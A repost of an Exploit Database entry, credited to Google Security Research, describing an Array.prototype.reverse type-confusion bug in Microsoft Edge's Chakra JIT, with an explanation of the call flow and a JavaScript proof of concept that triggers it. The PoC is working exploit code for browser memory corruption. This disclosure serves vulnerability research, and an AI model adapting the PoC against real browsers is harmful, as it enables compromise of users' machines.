Microsoft Edge Chakra JIT – ‘Array.prototype.reverse’ Array Type Confusion

• Exploit Database
• 13 阅读

• 作者： Google Security Research
  日期： 2018-02-15
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44079/

• /*
  This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse.
  
  Array.prototype.reverse can be inlined and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.
  Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray
  
  To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.
  
  Here's a snippet of JavascriptArray::EntrySort.
  arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);
  JS_REENTRANT(jsReentLock, arr->Sort(compFn));
  arr = arr->ConvertToNativeArrayInPlace<JavascriptNativeFloatArray, double>(arr);
  
  If "this" is a native array, the "sort" method first converts it to a Var array, sorts it, and then converts it back to the original type. So by setting it as a prototype in the compare function, we can make an object that its prototype is a native array.
  
  PoC:
  */
  
  function opt(arr, arr2) {
  arr2[0];
  
  arr[0] = 1.1;
  arr2.reverse();
  arr[0] = 2.3023e-320;
  }
  
  function main() {
  let arr = [1.1, 2.2, 3.3];
  arr.__proto__ = null;// avoid inline caching 
  delete arr[1];// avoid doArrayMissingValueCheckHoist
  
  let arr2 = [, {}];
  arr2.__proto__ = {};
  arr2.reverse = Array.prototype.reverse;
  
  for (let i = 0; i < 10000; i++) {
  opt(arr, arr2);
  }
  
  Array.prototype.sort.call(arr, () => {
  arr2.__proto__.__proto__ = arr;
  });
  
  opt(arr, arr2);
  print(arr[0]);
  }
  
  main();